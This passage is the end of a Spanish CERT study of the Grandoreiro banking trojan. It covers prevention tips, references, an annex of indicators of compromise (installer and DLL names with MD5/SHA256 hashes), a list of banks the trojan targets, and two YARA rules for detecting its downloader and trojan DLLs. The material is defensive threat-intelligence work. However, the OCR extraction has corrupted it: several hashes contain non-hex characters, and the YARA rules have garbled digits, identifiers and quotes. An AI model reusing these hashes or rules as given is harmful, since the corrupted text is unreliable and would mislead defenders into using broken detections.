descarga directa.

® Actualizar los programas instalados a través de las funciones implementadas o de las
herramientas que proporcionan los desarrolladores oficiales de software. Lo mismo se
aplica a la activacion.
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B Analizar regularmente el sistema operativo en busca de amenazas con una suite
antivirus o antispyware de confianza y mantenga este software actualizado.

ESTUDIO DEL ANALISIS DE GRANDOREIRO 29 TLP:WHITE




TLP:WHITE

& i i 4. incibe
s iNncibe_ et

INSTITUTO NACIONAL DE CIBERSEGURIDAD

6. Referencias

® Alberto Payo “El troyano bancario brasileio Grandoreiro vuelve a amenazar a los
usuarios espafoles” https://www.escudodigital.com/ciberseqguridad/troyano-bancario-
brasileno-grandoreiro-vuelve 50335 102.html (dic 06, 2021) Fecha de acceso: febr.
03, 2022.

®  Aitor Echavarri “Campafa Grandoreiro Mercadona” https://botechfpi.com/campana-
grandoreiro-mercadona (ago.19, 2020) Fecha de acceso: febr. 03, 2022.

B Grandoreiro-Bcsc-Malware-Grandoreiro
https://www.basquecybersecurity.eus/archivos/202104/bcsc-malware-grandoreiro-
tlowhite v2.pdf Fecha de acceso: febr. 08, 2022.

B Check Point y Europol “Banking Trojans: From Stone Age to Space Era”
https://www.europol.europa.eu/cms/sites/default/files/documents/banking trojans fro
m_stone_age to space era.pdf (marzo 21, 2017) Fecha de acceso: febr. 04, 2022.

m  Cytomic “Vuelve el troyano Grandoreiro contra las entidades bancarias aprovechando
el COVID-19” https://www.cytomic.ai/es/alertas/troyano-grandoreiro-ataque-banca/
(mayo 20, 2019) Fecha de acceso: febr.14, 2022.

m Cybersecurityadmin® Grandoreiro: How engorged can an EXE get?’
https://nofalsepositives.com/grandoreiro-how-engorged-can-an-exe-get  (ene. 08,
2022) Fecha de acceso: febr. 04, 2022.

®  Dani Abramov y Limor Kessem “Grandoreiro Malware Now Targeting Banks in Spain”
Security Intelligence https://securityintelligence.com/posts/grandoreiro-malware-now-
targeting-banks-in-spain/ (abril 13, 2020) Fecha de acceso: febr. 02, 2022.

® David Garcia “El troyano bancario Faketoken ha vuelto: analizamos su funcionamiento”
Revelock. https://www.revelock.com/es/blog/el-troyano-faketoken-ha-vuelto-
analizamos-su-funcionamiento (febr 17, 2020) Fecha de acceso: febr. 03, 2022.

® David Garcia “Fraude basado en inyecciones de codigo vy phishing”
https://www.revelock.com/es/blog/grandoreiro-un-malware-con-una-estrategia-de-
fraude-basada-en-inyecciones-de-codigo-y-phishing-para-interceptar-credenciales
(ene.02, 2021) Fecha de acceso: febr. 02, 2022.

®  Ehacking “Phishing que invita a descargar copia de seguridad de WhatsApp descarga
el troyano Grandoreiro”. Ethical Hacking Consultores
https://blog.ehcgroup.io/2021/10/12/14/00/14/11933/phishing-que-invita-a-descargar-
copia-de-seguridad-de-whatsapp-descarga-el-troyano-grandoreiro/seguridad-
informatica/troyanos/ehacking/ (oct 12, 2021). Fecha de acceso: febr. 04, 2022.

m ESET Research “Grandoreiro: analisis de un troyano bancario dirigido a Brasil, Espafia,
México y Perd” https://www.welivesecurity.com/la-es/2020/04/28/grandoreiro-troyano-
bancario-dirigido-brasil-espana-mexico-peru/ (abr 28, 2020). Fecha de acceso: febr. 04,
2022.

m ESET Research “Desde Amavaldo a Zumanek: un analisis de 12 troyanos bancarios
de América Latina” https://www.welivesecurity.com/la-es/2021/12/15/analisis-12-
troyanos-bancarios-america-latina/ (dic 15, 2021) Fecha de acceso: febr. 02, 2022.

m ESET Research “Indicadores muestran la cooperacion entre autores de troyanos
bancarios de América Latina” https://www.welivesecurity.com/la-
es/2020/10/01/indicadores-muestran-cooperacion-entre-autores-troyanos-bancarios-
america-latina/ (oct 1, 2020) Fecha de acceso: febr. 04, 2022.

ESTUDIO DEL ANALISIS DE GRANDOREIRO 30 TLP:WHITE



https://www.escudodigital.com/ciberseguridad/troyano-bancario-brasileno-grandoreiro-vuelve_50335_102.html
https://www.escudodigital.com/ciberseguridad/troyano-bancario-brasileno-grandoreiro-vuelve_50335_102.html
https://botechfpi.com/campana-grandoreiro-mercadona
https://botechfpi.com/campana-grandoreiro-mercadona
https://www.basquecybersecurity.eus/archivos/202104/bcsc-malware-grandoreiro-tlpwhite_v2.pdf
https://www.basquecybersecurity.eus/archivos/202104/bcsc-malware-grandoreiro-tlpwhite_v2.pdf
https://www.europol.europa.eu/cms/sites/default/files/documents/banking_trojans_from_stone_age_to_space_era.pdf
https://www.europol.europa.eu/cms/sites/default/files/documents/banking_trojans_from_stone_age_to_space_era.pdf
https://www.cytomic.ai/es/alertas/troyano-grandoreiro-ataque-banca/
https://nofalsepositives.com/grandoreiro-how-engorged-can-an-exe-get
https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/
https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/
https://www.revelock.com/es/blog/el-troyano-faketoken-ha-vuelto-analizamos-su-funcionamiento
https://www.revelock.com/es/blog/el-troyano-faketoken-ha-vuelto-analizamos-su-funcionamiento
https://www.revelock.com/es/blog/grandoreiro-un-malware-con-una-estrategia-de-fraude-basada-en-inyecciones-de-codigo-y-phishing-para-interceptar-credenciales
https://www.revelock.com/es/blog/grandoreiro-un-malware-con-una-estrategia-de-fraude-basada-en-inyecciones-de-codigo-y-phishing-para-interceptar-credenciales
https://blog.ehcgroup.io/2021/10/12/14/00/14/11933/phishing-que-invita-a-descargar-copia-de-seguridad-de-whatsapp-descarga-el-troyano-grandoreiro/seguridad-informatica/troyanos/ehacking/
https://blog.ehcgroup.io/2021/10/12/14/00/14/11933/phishing-que-invita-a-descargar-copia-de-seguridad-de-whatsapp-descarga-el-troyano-grandoreiro/seguridad-informatica/troyanos/ehacking/
https://blog.ehcgroup.io/2021/10/12/14/00/14/11933/phishing-que-invita-a-descargar-copia-de-seguridad-de-whatsapp-descarga-el-troyano-grandoreiro/seguridad-informatica/troyanos/ehacking/
https://www.welivesecurity.com/la-es/2020/04/28/grandoreiro-troyano-bancario-dirigido-brasil-espana-mexico-peru/
https://www.welivesecurity.com/la-es/2020/04/28/grandoreiro-troyano-bancario-dirigido-brasil-espana-mexico-peru/
https://www.welivesecurity.com/la-es/2021/12/15/analisis-12-troyanos-bancarios-america-latina/
https://www.welivesecurity.com/la-es/2021/12/15/analisis-12-troyanos-bancarios-america-latina/
https://www.welivesecurity.com/la-es/2020/10/01/indicadores-muestran-cooperacion-entre-autores-troyanos-bancarios-america-latina/
https://www.welivesecurity.com/la-es/2020/10/01/indicadores-muestran-cooperacion-entre-autores-troyanos-bancarios-america-latina/
https://www.welivesecurity.com/la-es/2020/10/01/indicadores-muestran-cooperacion-entre-autores-troyanos-bancarios-america-latina/

TLP:WHITE

. i 4. incibe
sincibe_
INSTITUTO NACIONAL DE CIBERSEGURIDAD O cert—

m INCIBE “Estudio del analisis de FluBot” https://www.incibe-

cert.es/sites/default/files/contenidos/estudios/doc/incibe-
cert_estudio_analisis_flubot 2021 vl1.pdf / (mayo, 2021) Fecha de acceso: febr.15,

2022.
m Infobae “México, Brasil y Espana, los paises mas afectados por ataques cibernéticos
bancarios” https://www.infobae.com/america/tecno/2021/12/17/mexico-brasil-y-

espana-los-paises-mas-afectados-por-atagues-ciberneticos-bancarios/ (dic.17, 2021)
Fecha de acceso: febr. 01, 2022.

m |IT News “ESET amplia la investigacion sobre el troyano bancario Grandoreiro”
https://itnews.lat/eset-ampl-a-la-investigaci-n-sobre-el-troyano-bancario-
grandoreiro.html (abr. 28, 2021) Fecha de acceso: febr. 04, 2022.

B José Manuel Roviralta Puente “Ataques de inyeccion SQL, una amenaza para tu web”
https://www.incibe.es/protege-tu-empresa/blog/atagues-inyeccion-sqgl-amenaza-tu-
web INCIBE (Oct 26, 2021) Fecha de acceso: febr. 6, 2022

m Kaspersky Lab “The Tetrade: Brazilian banking malware goes global”’
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/ (jul. 14, 2020)
Fecha de acceso: febr. 02, 2022.

B Open Web  Application  Security Project “Man-in-the-browser  attack”
https://owasp.org/www-community/attacks/Man-in-the-browser_attack Fecha de
acceso: febr. 03, 2022.

B OSl| “Copia de seguridad de mensajes de WhatsApp” nuevo correo electronico
fraudulento que descarga malware
https://www.osi.es/es/actualidad/avisos/2021/09/copia-de-seguridad-de-mensajes-de-
whatsapp-nuevo-correo-electronico (sept.22, 2021) Fecha de acceso: febr. 03, 2022.

B Pedro Tavares “The updated Grandoreiro Malware equipped with latenbot-C2 features
in Q2 2020 now extended to Portuguese banks” https://seguranca-informatica.pt/the-
updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-g2-2020-now-
extended-to-portuguese-banks/#.YgPmDoTMIdU ( mayo 26, 2020) Fecha de acceso:
febr. 08, 2022.

® Pierluigi Paganini “Grandoreiro Malware implements new features in Q2 2020”
https://securityaffairs.co/wordpress/103853/malware/grandoreiro-malware-g2-
2020.html (mayo 27, 2020) Fecha de acceso: febr. 03, 2022.

B Techbit “Grandoreiro: el virus troyano bancario que amenaza a México” El Universal
https://www.eluniversal.com.mx/techbit/grandoreiro-el-virus-troyano-bancario-que-
amenaza-mexico/video/ciencia-y-salud/desinfectantes-caseros-estoy-sanitizando-
bien-mi-hogar (mayo 04, 2020) Fecha de acceso: febr.01, 2022.

®m  Satinfo “Ahora es a Carrefour a quien utilizan para conseguir que se ejecute un fichero
spy Grandoreiro” https://blog.satinfo.es/2019/ahora-es-a-carrefour-a-quien-utilizan-
para-consequir-que-se-ejecute-un-fichero-spy-grandoreiro/ (oct 28, 2019) Fecha de
acceso: febr.02, 2022.

ESTUDIO DEL ANALISIS DE GRANDOREIRO 31 TLP:WHITE



https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_flubot_2021_v1.pdf%20/
https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_flubot_2021_v1.pdf%20/
https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_flubot_2021_v1.pdf%20/
https://www.infobae.com/america/tecno/2021/12/17/mexico-brasil-y-espana-los-paises-mas-afectados-por-ataques-ciberneticos-bancarios/
https://www.infobae.com/america/tecno/2021/12/17/mexico-brasil-y-espana-los-paises-mas-afectados-por-ataques-ciberneticos-bancarios/
https://itnews.lat/eset-ampl-a-la-investigaci-n-sobre-el-troyano-bancario-grandoreiro.html
https://itnews.lat/eset-ampl-a-la-investigaci-n-sobre-el-troyano-bancario-grandoreiro.html
https://www.incibe.es/protege-tu-empresa/blog/ataques-inyeccion-sql-amenaza-tu-web
https://www.incibe.es/protege-tu-empresa/blog/ataques-inyeccion-sql-amenaza-tu-web
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/
https://owasp.org/www-community/attacks/Man-in-the-browser_attack
https://www.osi.es/es/actualidad/avisos/2021/09/copia-de-seguridad-de-mensajes-de-whatsapp-nuevo-correo-electronico
https://www.osi.es/es/actualidad/avisos/2021/09/copia-de-seguridad-de-mensajes-de-whatsapp-nuevo-correo-electronico
https://seguranca-informatica.pt/the-updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-now-extended-to-portuguese-banks/#.YgPmDoTMIdU
https://seguranca-informatica.pt/the-updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-now-extended-to-portuguese-banks/#.YgPmDoTMIdU
https://seguranca-informatica.pt/the-updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-now-extended-to-portuguese-banks/#.YgPmDoTMIdU
https://securityaffairs.co/wordpress/103853/malware/grandoreiro-malware-q2-2020.html
https://securityaffairs.co/wordpress/103853/malware/grandoreiro-malware-q2-2020.html
https://www.eluniversal.com.mx/techbit/grandoreiro-el-virus-troyano-bancario-que-amenaza-mexico/video/ciencia-y-salud/desinfectantes-caseros-estoy-sanitizando-bien-mi-hogar
https://www.eluniversal.com.mx/techbit/grandoreiro-el-virus-troyano-bancario-que-amenaza-mexico/video/ciencia-y-salud/desinfectantes-caseros-estoy-sanitizando-bien-mi-hogar
https://www.eluniversal.com.mx/techbit/grandoreiro-el-virus-troyano-bancario-que-amenaza-mexico/video/ciencia-y-salud/desinfectantes-caseros-estoy-sanitizando-bien-mi-hogar
https://blog.satinfo.es/2019/ahora-es-a-carrefour-a-quien-utilizan-para-conseguir-que-se-ejecute-un-fichero-spy-grandoreiro/
https://blog.satinfo.es/2019/ahora-es-a-carrefour-a-quien-utilizan-para-conseguir-que-se-ejecute-un-fichero-spy-grandoreiro/

.. TLP:WHITE
€. incibe

® | H
s iNncibe_ Jert

INSTITUTO NACIONAL DE CIBERSEGURIDAD

Anexo 1: Indicadores de compromiso (I0OC)

® Nombre (Instalador): Archiv.Endes.Fact3101.msi

MD5: 6346c88c0d45779740b526dc7da79fc8
SHA256:
6a3b03e8a8aledfcf33aebb9d55f81ed274196596a20db875e2ae923d6468bbd

® Nombre (DLL Downloader): Binary.Maui.dll

MD5: 20253c20ea35ec595c5577604f8a2730
SHA256:
58084c86acd68c83d84802ef8daa9cdfefdcf34d7falb9a0e04c4cal24e58382

® Nombre (DLL Troyano): dbghelp.dll

MD5: 98ef8e5ef3bef928537d4fd25c53380a
SHA256:
35c0744bec0el123d24a9ffd3d7a9edeb07d9341ab45619b5fc881ce7dd81276a

m Listado de entidades financieras afectadas

AMARELO Liberbank HSBCUK
BRSUL Openbank barclaysUK
BancodaAmazonia ING BICE

Banpara Pichincha Ripley
Santander CaixaGeral Bci

Banese Mediolanum Chile
Bradesco Unicaja BancoEstado
AGY TRIODOS Falabella

inter ACTIVOBANK Santander
Sicoob ACTIVOBANKPT Scotiabank
Sicredi novobancopt PortugalBBVA
Caixa santapt bancobcr

itau MONTEPIOpt BarclaysES
nordeste millenniumbcppt BNPParibas
paulista Caixadirectapt CaixaGuissona
Scotiabank EuroBicpt Cajasur

brb ibercaja CitiBusiness
Cetelem BancoAzteca Commerzbank
Banestes Citibanamex Deutsche
Original Banorte EVOBanco
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CajaRural Scotiabank BMN
Sabadell BPI MicroBank
BANKINTER Cecabank MiBanco
Bankia.es natwest

Tabla 2. Entidades financieras afectadas por Grandoreiro
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Anexo 2: Reglas Yara de deteccion

Las siguientes reglas Yara detectan las 2 versiones de dll de las que se ha hablado en el
estudio, tanto el downloader como el propio troyano:

rule Grandoreiro_Banker_Downloader

{
meta:
author = "INCIBE-CERT"
description = "Detecta el Downloader del troyano bancario Grandoreiro"
strings:

$delphidlll = { BA ?? ?? ?? ?? 83 7D @C @1 75 ?? 50 52 C6 ©5 ?? ?? ?? ?? ?? 8B 4D 08 89 @D ??
?? ?? ?? 89 4A 04 }

$delphidll2 = { 55 8B EC 83 C4 ?? B8 ?? ?? ?? ?? E8 ?? ?? FF FF E8 ?? ?? FF FF 8D 40 00 }

$strl = " 2001, 2002 Mike Lischke"

$str2 = "8%$4,6-9'$6. : *?#1pHhX~AeS1ZrNbS"

$str3 = "Archive already has SFX stub”

$str4 = "Deflate64 compression method is not supported”
$str5 = "Delphi Component"

$stré = "EDecompressionErrorneed dictionary"

$str7 = "MakeSFX error"

$str8 = "Runtime error at 00000000"

$str9 = "Web site: http://www.componentace.com"

$str10 = "ScreenToClient"

$strll = "SFXStub property is not specified"

$stri12 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x"
$strl3 = "SystemParametersInfoA"

$stri4 = "TAESCryptoTransform"

$strl5 = "TGetSiteInfoEvent"

$str16 = "$TMultiReadExclusiveWriteSynchronizer"

$strl7 = "to create a commercial product, please register and download"
$str18 = "URLDownloadToFileA"

$strl9 = "VerLanguageNameA"

$str20 = "WndProcPtr%.8X%.8X"

$str21 = "you that your Personal Edition is provided for personal usage only."
$str22 = "Zip64Mode"
condition:

uint16(@) == Ox5A4D // MZ

and uint16(uint32(0x3C)+0x18) == Ox010B //MZ header en ©0x3C

and (uintl6(uint32(0x3C)+0x16) & ©x2000) == Ox2000 //PE DLL signature
and any of ($delphidll*)

and all of ($str*)

and (filesize > 1400KB and filesize < 3000KB)
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rule Grandoreiro_Banker_Trojan

{

meta:
author = "INCIBE-CERT"
description = "Detecta el troyano bancario Grandoreiro"

strings:
$mzp = "MzP"
$strl = "yIdIOHandlerSocket"
$str2 = "ATIVARCAPTURAFULL"
$str3 = "ATIVARCAPTURAMAG"
$str4 = "AutoSessionsPingT"
$str5 = "v4.09 (2013.Q2)"
$str6 = "CallNextHookEx"
$str7 = "Cap.DfbBackingMode"
$str8 = "CryptPlugin.AfterDisconnect"
$str9 = "deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly"
$strl@ = "DELETAKL"
$strll = "DETONAPROCESSO"
$str12 = "EXIBIRMZ"
$strl3 = "Gate_CryptPlugin"
$strl4 = "GetType method not available for TRtcDataRow"
$strl5 = "GUploadAnywhere_ Super"
$stri6 = ".hopto.org"
$strl7 = "Magnification.dll"
$str18 = "<member><name>RTC.DATASET.ROWS</name>"
$strl9 = "Portable network graphics (AlphaControls)"
$str20 = "RemoteThreadCallbacks TRtcThreadCallback.DestroyCallback"
$str21 = "SUSPENDEACESSO"
$str22 = "ZDecompress_str.InflateInit"

condition:
$mzp at @
and all of ($str*)
and (filesize > 140000KB and filesize < 400000KB)

}
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